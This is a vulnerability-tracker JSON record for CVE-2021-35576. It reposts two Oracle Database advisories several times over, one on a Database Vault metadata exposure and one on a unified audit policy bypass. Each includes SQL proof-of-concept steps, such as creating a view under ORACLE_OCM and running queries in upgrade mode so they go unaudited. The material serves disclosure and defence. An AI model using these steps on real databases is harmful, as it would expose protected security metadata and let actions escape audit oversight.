{"vulnerability": "CVE-2021-35576", "sightings": [{"uuid": "3852dde0-f751-4b85-9c8a-31851400bd7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-35576", "type": "seen", "source": "https://t.me/hacking_Attack/83659", "content": "Exploit Collector\nOracle Database Vault Metadata Exposure\n\nhttps://2.bp.blogspot.com/-y5QhCp_hFKM/WWlvahEOH0I/AAAAAAAAIPA/Q0VQ49Z0hVw4skegRDdSXm3Bk15Ptyg5wCLcBGAs/s1600/h70.png \nOracle Database versions 12.1.0.2, 12.2.0.1, 18c, and 19c suffer from a vault metadata exposure vulnerability.\n\nSHA-256 | 6d636ac988e2da4e604986a058092a2597791439751bb9ff71e51d032dd50eef\n\nDownload\n\nTitle: CVE-2021-2175 \u2013 Oracle Database Vault Metadata Exposure Vulnerability\nProduct:                   Database\nManufacturer:              Oracle\nAffected Version(s):       12.1.0.2, 12.2.0.1, 18c, 19c\nTested Version(s):         19c\nRisk Level:                low\nSolution Status:           Fixed\nCVE Reference:             CVE-2021-2175\nAuthor of Advisory:        Emad Al-Mousa\n\nOverview:\n\nOracle database vault is a security feature that imposes segregation of duties such as account managemenet, authorization,....etc. So, in a nutshell a DBA/System Admin with access to \"SYS\" user has limited power in terms of data viewership, account creation,.....etc. The powers of SYS account are stripped down.\n*****************************************\nVulnerability Details:\n\nVulnerability in the Database Vault component of Oracle Database Server. Supported versions that are affected are 12.1.0.2, 12.2.0.1, 18c and 19c. Easily exploitable vulnerability allows high privileged attacker having Create Any View, Select Any View privilege with network access via Oracle Net to compromise Database Vault. Successful attacks of this vulnerability can result in unauthorized read access to a subset of Database Vault accessible data [Meta-data].\n\n*****************************************\nProof of Concept (PoC):\n\nThe DBA_DV_REALM data dictionary view lists the realms (security policies configured for data protection) created in the current database instance, such information SYS user by default has NO ACCESS to since it exposes what security measures of data protection is configured.\n\nAccess the database as SYS account:\n\nsqlplus / as sysdba\n\nSQL> SELECT *  FROM DBA_DV_REALM;\n\nERROR at line 1:\n\nORA-01031: insufficient privileges\n\n// as expected SYS account can't view the database view contents.....However...let us do the following:\n\nSQL> create view ORACLE_OCM.DUMMY_V as select * from DBA_DV_REALM;\n\nSQL> select * from ORACLE_OCM.DUMMY_V;\n\n// ORACLE_OCM account is misconfigured and was granted extra access to the view so when you create the view under it....you will be access the view content....and now you can see/view the vault realm policies are configured to protect what exactly within the database system.\n\n*****************************************\nReferences:\nhttps://www.oracle.com/security-alerts/cpuapr2021.html\nhttps://databasesecurityninja.wordpress.com/2022/02/02/cve-2021-2175-database-vault-metadata-exposure-vulnerability/\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-2175\nCredit:\nEmad Al-Mousa: CVE-2021-35576\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:11.768952Z"}, {"uuid": "3ec5b199-79da-4076-b530-41a2bb2f7922", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-35576", "type": "seen", "source": "https://t.me/hacking_Attack/83134", "content": "Exploit Collector\nOracle Unified Audit Policy Bypass\n\nhttps://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png Oracle versions 12.1.0.2, 12.2.0.1, and 19c suffer from a Unified Audit Policy bypass vulnerability.\n\nSHA-256 | 7e5b1b4347cc242b7461a29b645553a188ed4ddb848dbd5b5689d7909dc614f0Download Title: CVE-2021-35576 \u2013 Oracle database system Unified Audit Policy ByPass\nProduct:                   Database\nManufacturer:              Oracle\nAffected Version(s):       12.1.0.2, 12.2.0.1, 19c\nTested Version(s):         19c\nRisk Level:                low\nSolution Status:           Fixed\nManufacturer Notification: 2021-03-17\nSolution Date:             2021-10-17\nPublic Disclosure:         2022-06-11\nCVE Reference:             CVE-2021-35576\nAuthor of Advisory:        Emad Al-Mousa\n\nOverview:\nOracle Database is a general purpose relational database management system (RDMBS).\nUnified Auditing is the supported mechanism to capture database audit logs. The unified audit trail captures audit information from a variety of sources.The unified audit trail, which resides in a read-only table in the AUDSYS schema in the SYSAUX tablespace, makes this information available in a uniform format in the UNIFIED_AUDIT_TRAIL data dictionary view, and is available in both single-instance and Oracle Database Real Application Clusters environments. In addition to the user SYS, users who have been granted the AUDIT_ADMIN and AUDIT_VIEWER roles can query these views. If your users only need to query the views but not create audit policies, then grant them the AUDIT_VIEWER role.\n*****************************************\nVulnerability Details:\nThe vulnerability will allow database administrator or system admin with access to the database server (either local login or remote authentication)to bypass a custom in-place audit policy defined in the oracle database system. Moreover, setting the database in upgrade mode will disable auditingand threat actor can perform malicious operations without detection.\n\n*****************************************\nProof of Concept (PoC):\nI will create a table in pluggable database PDB1 under HR schema and insert few records:\nSQL> CREATE TABLE HR.EMPLOYEE\n(\nFIRST_NAME  VARCHAR2(50),\nLAST_NAME   VARCHAR2(50)\n);\nSQL> INSERT INTO HR.EMPLOYEE (\nFIRST_NAME, LAST_NAME)\nVALUES ( 'EMAD','MOUSA' );\nSQL> commit;\nSQL> INSERT INTO HR.EMPLOYEE (\nFIRST_NAME, LAST_NAME)\nVALUES ( 'SAMI','MOUSA' );\nSQL> commit;\nI will now create audit policy:\nSQL> CREATE AUDIT POLICY SELECT_P1 actions select on HR.EMPLOYEE;\nSQL> audit policy SELECT_P1;\nTo check audit policies configured in PDB1 database:\nSQL> SELECT * FROM audit_unified_enabled_policies;\n\nNow, let us simulate executing the select statement against the monitored/audited table while database is in upgrade mode:\nsqlplus / as sysdba\nSQL> alter session set container=PDB1;\nSQL> shutdown immediate;\nSQL> startup upgrade;\nSQL> select * from HR.EMPLOYEE;\nSQL> startup force;\nSQL> exec SYS.DBMS_AUDIT_MGMT.FLUSH_UNIFIED_AUDIT_TRAIL;\nChecking the audit logs using the query, NO entry is found recorded in the unified audit trail:\n\nSQL> select OS_USERNAME,USERHOST,DBUSERNAME,CLIENT_PROGRAM_NAME,EVENT_TIMESTAMP,ACTION_NAME,OBJECT_SCHEMA,OBJECT_NAME,SQL_TEXT from unified_audit_trail where OBJECT_NAME=\u2019EMPLOYEE\u2019 order by EVENT_TIMESTAMP desc;\nSo, even though audit policy was configured in the database a DBA/System Admin can view the audited sensitive table without a trace as No record will be populated in UNIFIED_AUDIT_TRAIL view !\n*****************************************\nReferences:\nhttps://www.oracle.com/security-alerts/cpuoct2021.html \nhttps://databasesecurityninja.wordpress.com/2022/06/11/cve-2021-35576-bypassing-unified-audit-policy/\nhttps://nvd.nist.gov/vuln/detail/CVE-2021-35576\n\nCredit:\nEmad Al-Mousa: CVE-2021-35576 Source:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:12.312783Z"}, {"uuid": "96b6dc45-9a1b-4c69-a1f4-8deaef4fefdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-35576", "type": "seen", "source": "https://t.me/hacking_Attack/83134", "content": "Exploit Collector\nOracle Unified Audit Policy Bypass\n\nhttps://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png Oracle versions 12.1.0.2, 12.2.0.1, and 19c suffer from a Unified Audit Policy bypass vulnerability.\n\nSHA-256 | 7e5b1b4347cc242b7461a29b645553a188ed4ddb848dbd5b5689d7909dc614f0Download Title: CVE-2021-35576 \u2013 Oracle database system Unified Audit Policy ByPass\nProduct:                   Database\nManufacturer:              Oracle\nAffected Version(s):       12.1.0.2, 12.2.0.1, 19c\nTested Version(s):         19c\nRisk Level:                low\nSolution Status:           Fixed\nManufacturer Notification: 2021-03-17\nSolution Date:             2021-10-17\nPublic Disclosure:         2022-06-11\nCVE Reference:             CVE-2021-35576\nAuthor of Advisory:        Emad Al-Mousa\n\nOverview:\nOracle Database is a general purpose relational database management system (RDMBS).\nUnified Auditing is the supported mechanism to capture database audit logs. The unified audit trail captures audit information from a variety of sources.The unified audit trail, which resides in a read-only table in the AUDSYS schema in the SYSAUX tablespace, makes this information available in a uniform format in the UNIFIED_AUDIT_TRAIL data dictionary view, and is available in both single-instance and Oracle Database Real Application Clusters environments. In addition to the user SYS, users who have been granted the AUDIT_ADMIN and AUDIT_VIEWER roles can query these views. If your users only need to query the views but not create audit policies, then grant them the AUDIT_VIEWER role.\n*****************************************\nVulnerability Details:\nThe vulnerability will allow database administrator or system admin with access to the database server (either local login or remote authentication)to bypass a custom in-place audit policy defined in the oracle database system. Moreover, setting the database in upgrade mode will disable auditingand threat actor can perform malicious operations without detection.\n\n*****************************************\nProof of Concept (PoC):\nI will create a table in pluggable database PDB1 under HR schema and insert few records:\nSQL> CREATE TABLE HR.EMPLOYEE\n(\nFIRST_NAME  VARCHAR2(50),\nLAST_NAME   VARCHAR2(50)\n);\nSQL> INSERT INTO HR.EMPLOYEE (\nFIRST_NAME, LAST_NAME)\nVALUES ( 'EMAD','MOUSA' );\nSQL> commit;\nSQL> INSERT INTO HR.EMPLOYEE (\nFIRST_NAME, LAST_NAME)\nVALUES ( 'SAMI','MOUSA' );\nSQL> commit;\nI will now create audit policy:\nSQL> CREATE AUDIT POLICY SELECT_P1 actions select on HR.EMPLOYEE;\nSQL> audit policy SELECT_P1;\nTo check audit policies configured in PDB1 database:\nSQL> SELECT * FROM audit_unified_enabled_policies;\n\nNow, let us simulate executing the select statement against the monitored/audited table while database is in upgrade mode:\nsqlplus / as sysdba\nSQL> alter session set container=PDB1;\nSQL> shutdown immediate;\nSQL> startup upgrade;\nSQL> select * from HR.EMPLOYEE;\nSQL> startup force;\nSQL> exec SYS.DBMS_AUDIT_MGMT.FLUSH_UNIFIED_AUDIT_TRAIL;\nChecking the audit logs using the query, NO entry is found recorded in the unified audit trail:\n\nSQL> select OS_USERNAME,USERHOST,DBUSERNAME,CLIENT_PROGRAM_NAME,EVENT_TIMESTAMP,ACTION_NAME,OBJECT_SCHEMA,OBJECT_NAME,SQL_TEXT from unified_audit_trail where OBJECT_NAME=\u2019EMPLOYEE\u2019 order by EVENT_TIMESTAMP desc;\nSo, even though audit policy was configured in the database a DBA/System Admin can view the audited sensitive table without a trace as No record will be populated in UNIFIED_AUDIT_TRAIL view !\n*****************************************\nReferences:\nhttps://www.oracle.com/security-alerts/cpuoct2021.html \nhttps://databasesecurityninja.wordpress.com/2022/06/11/cve-2021-35576-bypassing-unified-audit-policy/\nhttps://nvd.nist.gov/vuln/detail/CVE-2021-35576\n\nCredit:\nEmad Al-Mousa: CVE-2021-35576 Source:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:01:28.922872Z"}, {"uuid": "6b24e581-6f00-421b-a8c3-6792e9b93a9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-35576", "type": "seen", "source": "https://t.me/hacking_Attack/83659", "content": "Exploit Collector\nOracle Database Vault Metadata Exposure\n\nhttps://2.bp.blogspot.com/-y5QhCp_hFKM/WWlvahEOH0I/AAAAAAAAIPA/Q0VQ49Z0hVw4skegRDdSXm3Bk15Ptyg5wCLcBGAs/s1600/h70.png \nOracle Database versions 12.1.0.2, 12.2.0.1, 18c, and 19c suffer from a vault metadata exposure vulnerability.\n\nSHA-256 | 6d636ac988e2da4e604986a058092a2597791439751bb9ff71e51d032dd50eef\n\nDownload\n\nTitle: CVE-2021-2175 \u2013 Oracle Database Vault Metadata Exposure Vulnerability\nProduct:                   Database\nManufacturer:              Oracle\nAffected Version(s):       12.1.0.2, 12.2.0.1, 18c, 19c\nTested Version(s):         19c\nRisk Level:                low\nSolution Status:           Fixed\nCVE Reference:             CVE-2021-2175\nAuthor of Advisory:        Emad Al-Mousa\n\nOverview:\n\nOracle database vault is a security feature that imposes segregation of duties such as account managemenet, authorization,....etc. So, in a nutshell a DBA/System Admin with access to \"SYS\" user has limited power in terms of data viewership, account creation,.....etc. The powers of SYS account are stripped down.\n*****************************************\nVulnerability Details:\n\nVulnerability in the Database Vault component of Oracle Database Server. Supported versions that are affected are 12.1.0.2, 12.2.0.1, 18c and 19c. Easily exploitable vulnerability allows high privileged attacker having Create Any View, Select Any View privilege with network access via Oracle Net to compromise Database Vault. Successful attacks of this vulnerability can result in unauthorized read access to a subset of Database Vault accessible data [Meta-data].\n\n*****************************************\nProof of Concept (PoC):\n\nThe DBA_DV_REALM data dictionary view lists the realms (security policies configured for data protection) created in the current database instance, such information SYS user by default has NO ACCESS to since it exposes what security measures of data protection is configured.\n\nAccess the database as SYS account:\n\nsqlplus / as sysdba\n\nSQL> SELECT *  FROM DBA_DV_REALM;\n\nERROR at line 1:\n\nORA-01031: insufficient privileges\n\n// as expected SYS account can't view the database view contents.....However...let us do the following:\n\nSQL> create view ORACLE_OCM.DUMMY_V as select * from DBA_DV_REALM;\n\nSQL> select * from ORACLE_OCM.DUMMY_V;\n\n// ORACLE_OCM account is misconfigured and was granted extra access to the view so when you create the view under it....you will be access the view content....and now you can see/view the vault realm policies are configured to protect what exactly within the database system.\n\n*****************************************\nReferences:\nhttps://www.oracle.com/security-alerts/cpuapr2021.html\nhttps://databasesecurityninja.wordpress.com/2022/02/02/cve-2021-2175-database-vault-metadata-exposure-vulnerability/\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-2175\nCredit:\nEmad Al-Mousa: CVE-2021-35576\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:01:28.288538Z"}, {"uuid": "c4fc09de-0f9c-45dd-b166-4cacd7cae557", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-35576", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/83134", "content": "Exploit Collector\nOracle Unified Audit Policy Bypass\n\nhttps://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png Oracle versions 12.1.0.2, 12.2.0.1, and 19c suffer from a Unified Audit Policy bypass vulnerability.\n\nSHA-256 | 7e5b1b4347cc242b7461a29b645553a188ed4ddb848dbd5b5689d7909dc614f0Download Title: CVE-2021-35576 \u2013 Oracle database system Unified Audit Policy ByPass\nProduct:                   Database\nManufacturer:              Oracle\nAffected Version(s):       12.1.0.2, 12.2.0.1, 19c\nTested Version(s):         19c\nRisk Level:                low\nSolution Status:           Fixed\nManufacturer Notification: 2021-03-17\nSolution Date:             2021-10-17\nPublic Disclosure:         2022-06-11\nCVE Reference:             CVE-2021-35576\nAuthor of Advisory:        Emad Al-Mousa\n\nOverview:\nOracle Database is a general purpose relational database management system (RDMBS).\nUnified Auditing is the supported mechanism to capture database audit logs. The unified audit trail captures audit information from a variety of sources.The unified audit trail, which resides in a read-only table in the AUDSYS schema in the SYSAUX tablespace, makes this information available in a uniform format in the UNIFIED_AUDIT_TRAIL data dictionary view, and is available in both single-instance and Oracle Database Real Application Clusters environments. In addition to the user SYS, users who have been granted the AUDIT_ADMIN and AUDIT_VIEWER roles can query these views. If your users only need to query the views but not create audit policies, then grant them the AUDIT_VIEWER role.\n*****************************************\nVulnerability Details:\nThe vulnerability will allow database administrator or system admin with access to the database server (either local login or remote authentication)to bypass a custom in-place audit policy defined in the oracle database system. Moreover, setting the database in upgrade mode will disable auditingand threat actor can perform malicious operations without detection.\n\n*****************************************\nProof of Concept (PoC):\nI will create a table in pluggable database PDB1 under HR schema and insert few records:\nSQL> CREATE TABLE HR.EMPLOYEE\n(\nFIRST_NAME  VARCHAR2(50),\nLAST_NAME   VARCHAR2(50)\n);\nSQL> INSERT INTO HR.EMPLOYEE (\nFIRST_NAME, LAST_NAME)\nVALUES ( 'EMAD','MOUSA' );\nSQL> commit;\nSQL> INSERT INTO HR.EMPLOYEE (\nFIRST_NAME, LAST_NAME)\nVALUES ( 'SAMI','MOUSA' );\nSQL> commit;\nI will now create audit policy:\nSQL> CREATE AUDIT POLICY SELECT_P1 actions select on HR.EMPLOYEE;\nSQL> audit policy SELECT_P1;\nTo check audit policies configured in PDB1 database:\nSQL> SELECT * FROM audit_unified_enabled_policies;\n\nNow, let us simulate executing the select statement against the monitored/audited table while database is in upgrade mode:\nsqlplus / as sysdba\nSQL> alter session set container=PDB1;\nSQL> shutdown immediate;\nSQL> startup upgrade;\nSQL> select * from HR.EMPLOYEE;\nSQL> startup force;\nSQL> exec SYS.DBMS_AUDIT_MGMT.FLUSH_UNIFIED_AUDIT_TRAIL;\nChecking the audit logs using the query, NO entry is found recorded in the unified audit trail:\n\nSQL> select OS_USERNAME,USERHOST,DBUSERNAME,CLIENT_PROGRAM_NAME,EVENT_TIMESTAMP,ACTION_NAME,OBJECT_SCHEMA,OBJECT_NAME,SQL_TEXT from unified_audit_trail where OBJECT_NAME=\u2019EMPLOYEE\u2019 order by EVENT_TIMESTAMP desc;\nSo, even though audit policy was configured in the database a DBA/System Admin can view the audited sensitive table without a trace as No record will be populated in UNIFIED_AUDIT_TRAIL view !\n*****************************************\nReferences:\nhttps://www.oracle.com/security-alerts/cpuoct2021.html \nhttps://databasesecurityninja.wordpress.com/2022/06/11/cve-2021-35576-bypassing-unified-audit-policy/\nhttps://nvd.nist.gov/vuln/detail/CVE-2021-35576\n\nCredit:\nEmad Al-Mousa: CVE-2021-35576 Source:packetstormsecurity.com", "creation_timestamp": "2026-09-05T00:00:09.417579Z"}, {"uuid": "7e6d91a3-be53-45e1-bf20-af9ef51f3af2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-35576", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/83659", "content": "Exploit Collector\nOracle Database Vault Metadata Exposure\n\nhttps://2.bp.blogspot.com/-y5QhCp_hFKM/WWlvahEOH0I/AAAAAAAAIPA/Q0VQ49Z0hVw4skegRDdSXm3Bk15Ptyg5wCLcBGAs/s1600/h70.png \nOracle Database versions 12.1.0.2, 12.2.0.1, 18c, and 19c suffer from a vault metadata exposure vulnerability.\n\nSHA-256 | 6d636ac988e2da4e604986a058092a2597791439751bb9ff71e51d032dd50eef\n\nDownload\n\nTitle: CVE-2021-2175 \u2013 Oracle Database Vault Metadata Exposure Vulnerability\nProduct:                   Database\nManufacturer:              Oracle\nAffected Version(s):       12.1.0.2, 12.2.0.1, 18c, 19c\nTested Version(s):         19c\nRisk Level:                low\nSolution Status:           Fixed\nCVE Reference:             CVE-2021-2175\nAuthor of Advisory:        Emad Al-Mousa\n\nOverview:\n\nOracle database vault is a security feature that imposes segregation of duties such as account managemenet, authorization,....etc. So, in a nutshell a DBA/System Admin with access to \"SYS\" user has limited power in terms of data viewership, account creation,.....etc. The powers of SYS account are stripped down.\n*****************************************\nVulnerability Details:\n\nVulnerability in the Database Vault component of Oracle Database Server. Supported versions that are affected are 12.1.0.2, 12.2.0.1, 18c and 19c. Easily exploitable vulnerability allows high privileged attacker having Create Any View, Select Any View privilege with network access via Oracle Net to compromise Database Vault. Successful attacks of this vulnerability can result in unauthorized read access to a subset of Database Vault accessible data [Meta-data].\n\n*****************************************\nProof of Concept (PoC):\n\nThe DBA_DV_REALM data dictionary view lists the realms (security policies configured for data protection) created in the current database instance, such information SYS user by default has NO ACCESS to since it exposes what security measures of data protection is configured.\n\nAccess the database as SYS account:\n\nsqlplus / as sysdba\n\nSQL> SELECT *  FROM DBA_DV_REALM;\n\nERROR at line 1:\n\nORA-01031: insufficient privileges\n\n// as expected SYS account can't view the database view contents.....However...let us do the following:\n\nSQL> create view ORACLE_OCM.DUMMY_V as select * from DBA_DV_REALM;\n\nSQL> select * from ORACLE_OCM.DUMMY_V;\n\n// ORACLE_OCM account is misconfigured and was granted extra access to the view so when you create the view under it....you will be access the view content....and now you can see/view the vault realm policies are configured to protect what exactly within the database system.\n\n*****************************************\nReferences:\nhttps://www.oracle.com/security-alerts/cpuapr2021.html\nhttps://databasesecurityninja.wordpress.com/2022/02/02/cve-2021-2175-database-vault-metadata-exposure-vulnerability/\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-2175\nCredit:\nEmad Al-Mousa: CVE-2021-35576\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-05T00:00:10.068562Z"}]}